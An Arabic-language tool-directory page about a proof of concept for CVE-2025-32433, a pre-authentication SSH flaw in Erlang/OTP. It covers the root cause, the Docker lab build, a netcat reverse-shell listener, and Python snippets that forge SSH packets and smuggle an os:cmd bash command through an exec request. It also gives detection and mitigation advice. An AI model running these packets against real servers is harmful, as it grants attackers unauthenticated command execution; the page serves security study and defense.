Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/antoniesoga/erlang-otp-poc_cve-2025-32433
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليمأداة الوصول عن بعد
GitHubantoniesoga/erlang-otp-poc_cve-2025-32433

Erlang-OTP-PoC_CVE-2025-32433

إثبات مفهوم لاستغلال CVE-2025-32433، وهي ثغرة ارتباك قناة SSH قبل المصادقة في Erlang/OTP، توضح تجاوز المصادقة وتنفيذ تعليمات برمجية عن بُعد مع مختبر Docker.

عرض المستودع
212منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ارتباك قناة ما قبل المصادقة في SSH لـ Erlang/OTP

📺 فيديو إثبات المفهوم

الوصف: عرض لثغرة ارتباك قناة ما قبل المصادقة في SSH لـ Erlang/OTP.

انقر هنا لمشاهدة العرض الكامل على YouTube

ملخص

ما هو هذا إثبات المفهوم؟

يُظهر إثبات المفهوم هذا CVE-2025-32433، وهي ثغرة في تنفيذ خادم SSH لـ Erlang/OTP تسمح للمهاجم بفتح قنوات SSH وتنفيذ الأوامر قبل المصادقة.

بسبب تطبيق غير صحيح لانتقالات حالة بروتوكول SSH، يتم قبول بعض رسائل SSH (SSH_MSG_CHANNEL_OPEN و SSH_MSG_CHANNEL_REQUEST) قبل اكتمال مصادقة المستخدم بنجاح. يؤدي هذا إلى تجاوز كامل للمصادقة و تنفيذ الأوامر عن بُعد داخل جهاز Erlang الافتراضي.


الظروف المتأثرة

ما الذي يجب أن يكون ضعيفًا لكي يعمل هذا؟

يمكن تشغيل الثغرة عند استيفاء الشروط التالية:

  • إصدارات Erlang/OTP المتأثرة بهذه الثغرة هي جميع الإصدارات السابقة والتي تشمل التالي:
    • OTP-27.3.2
    • OTP-26.2.5.10
    • OTP-25.3.2.19
  • تطبيق ssh في Erlang مفعل
  • تم تكوين المصادقة القائمة على كلمة المرور
  • يمكن للمهاجم الوصول إلى خفي SSH
  • لا حاجة إلى بيانات اعتماد صالحة
  • المهم، أن هذه المشكلة لا تعتمد على بيانات اعتماد ضعيفة أو تكوين خاطئ، بل على معالجة حالة بروتوكول معيبة.


    السبب الجذري التقني وتدفق الاستغلال

    كيف تظهر الثغرة، ولماذا يمكن استغلالها؟

    تنبع المشكلة من خلل في ارتباك الحالة في خادم SSH لـ Erlang/OTP، حيث لا يتم فرض حالة المصادقة بشكل صارم قبل معالجة الرسائل المتعلقة بالقناة.

    على مستوى عالٍ، يتم الاستغلال على النحو التالي:

    1. يكمل المهاجم مراحل تبادل الإصدار و تبادل المفاتيح في SSH.
    2. ينقل الخادم الاتصال إلى حالة جلسة نشطة، بدون فرض مصادقة ناجحة للمستخدم.
    3. يرسل المهاجم طلب SSH_MSG_CHANNEL_OPEN لقناة session.
    4. يقبل الخادم طلب القناة بشكل غير صحيح قبل اكتمال المصادقة.
    5. يتم إرسال SSH_MSG_CHANNEL_REQUEST من نوع exec على القناة المفتوحة.
    6. يقوم نظام SSH الفرعي لـ Erlang بتوجيه الطلب إلى معالج الاتصال.
    7. يتم تنفيذ الحمولة المقدمة عبر بدائيات Erlang (مثل os:cmd/1) داخل سياق الجهاز الافتراضي.

    ينتهك هذا السلوك نموذج بروتوكول SSH المحدد في RFC 4252/4254، حيث يجب أن يُسمح بإنشاء القنوات والطلبات فقط بعد المصادقة الناجحة.

    باختصار:

    • يتم تتبع حالة المصادقة ولكن لا يتم فرضها
    • تتوقف معالجة القناة على حالة الجلسة، وليس حالة المصادقة
    • تقوم عملية ssh_connection بمعالجة طلبات exec قبل الأوان
    • يتيح هذا تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة

    هذه ثغرة في المنطق وإدارة الحالة، وليست ضعفًا تشفيريًا.


    البناء والنشر

    تقوم الخطوات التالية ببناء ونشر بيئة ضعيفة قائمة بذاتها باستخدام Docker. يعمل الحاوية على خادم SSH مقوى عمدًا يرفض جميع بيانات الاعتماد، مما يضمن أن أي تنفيذ ناجح للأوامر هو نتيجة لتجاوز المصادقة.

    root@kitploit:~
    git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
    
    root@kitploit:~
    docker build -t erlang-ssh .
    

    build

    root@kitploit:~
    docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh
    

    بمجرد التشغيل، سيتم عرض خفي SSH على المنفذ 2222 ويكون جاهزًا للاستغلال باستخدام إثبات المفهوم المقدم.


    الاستغلال

    يستغل هذا البرنامج النصي خللاً في خادم SSH لـ Erlang/OTP يسمح بمعالجة بعض رسائل بروتوكول SSH قبل المصادقة.

    تتطلب عملية الاستغلال طرفيتين: واحدة لاستقبال الاتصال العكسي، وأخرى لإطلاق الاستغلال.

    • المستمع (الطرفية 1):

      root@kitploit:~
      nc -lvnp 4488
      
    • تنفيذ الاستغلال (الطرفية 2):

      root@kitploit:~
      python3 exploit.py
      

    شرح خطوات برنامج الاستغلال

    1. انتحال البروتوكول

      root@kitploit:~
      s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
      s.sendall(pad(kex))
      

      تُستخدم هذه الرسائل لجعل الخادم يعامل الاتصال كعميل SSH شرعي. وهي تقدم حالة بروتوكول SSH إلى درجة كافية للسماح برسائل متعلقة بالقناة دون إكمال المصادقة.

    2. قناة جلسة ما قبل المصادقة

      root@kitploit:~
      s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
      

      يُستخدم هذا الطلب لفتح قناة جلسة قبل المصادقة. في خوادم Erlang/OTP الضعيفة، يتجاوز ذلك ضوابط الوصول العادية وينشئ جلسة غير مصرح بها.

    3. طلب تنفيذ الأوامر

      root@kitploit:~
      erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
      exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
      

      يُستخدم هذا الطلب لتحفيز تنفيذ الأوامر عبر بيئة Erlang. يضمن تغليف الحمولة في صياغة Erlang أن يتم تنفيذ الأمر بواسطة جهاز Erlang الافتراضي بدلاً من معاملته كأمر شل SSH قياسي.

    النتيجة

    إذا كان الهدف ضعيفًا، يتم تنفيذ الأمر المقدم دون مصادقة.

    exploit

    nc


    الدفاع

    يعتمد الدفاع ضد هذه الثغرة على التقسيم الصارم للشبكة والمراقبة على مستوى البروتوكول، حيث قد لا تسجل سجلات المصادقة القياسية محاولات التجاوز (نظرًا لتخطي المصادقة).

    • تقييد الشبكة: لا تعرض منافذ SSH الخاصة بـ Erlang (الافتراضية أو المخصصة) للإنترنت العام. قيد الوصول إلى عناوين IP الموثوقة أو اشترط وجود VPN/مضيف حصين.
    • توقيعات IDS/IPS: قم بتكوين أنظمة كشف التسلل للتنبيه على جلسات SSH حيث يتم إرسال حزم SSH_MSG_CHANNEL_OPEN (النوع 90) مباشرة بعد تبادل المفاتيح، دون حزمة SSH_MSG_USERAUTH_SUCCESS (النوع 52) سابقة.
    • مراقبة وقت التشغيل: راقب جهاز Erlang الافتراضي لاستدعاءات os:cmd غير المتوقعة أو ظهور عمليات شل لا ترتبط بجلسة مستخدم مسجل الدخول بنجاح في سجلات التطبيق.

    التخفيفات

    الإصلاح الوحيد الكامل هو تحديث بيئة تشغيل Erlang/OTP الأساسية لفرض انتقالات حالة صارمة.

    1. تحديث Erlang/OTP

    قم بترقية بيئة تشغيل Erlang/OTP فورًا إلى إصدار يفرض فحوصات المصادقة قبل إنشاء القناة. تأكد من تشغيل إصدار أحدث من تلك المدرجة في قسم "الظروف المتأثرة".

    تحقق من إصدارات Erlang/OTP الرسمية على GitHub للحصول على أحدث تصحيحات الأمان.

    2. الحلول المؤقتة

    إذا لم تكن الترقية الفورية ممكنة، فقم بتطبيق الضوابط التالية:

    • تعطيل تطبيق SSH: إذا كانت واجهة SSH ليست حيوية للمهمة، أوقف التطبيق لإزالة سطح الهجوم:

      root@kitploit:~
      ssh:stop().
      
    • القائمة البيضاء لجدار الحماية: حدد بشكل صارم الوصول الشبكي إلى منفذ SSH المكشوف للشبكات الفرعية الداخلية والإدارية فقط.


    المساهمون

    AntonieSoga Antonie Șoga AntonieSoga · مساهم

    7uddy Ene Călin Tudor 7uddy · مساهم

    BanicaCristian04 Cristian Bănică BanicaCristian04 · مساهم


    ⚠️ إخلاء مسؤولية

    لأغراض تعليمية وبحثية دفاعية فقط.


    المراجع

    • CVE-2025-32433
    • Erlang/OTP SSH Source
    • RFC 4252/4254

    cve

    تنزيل الأداة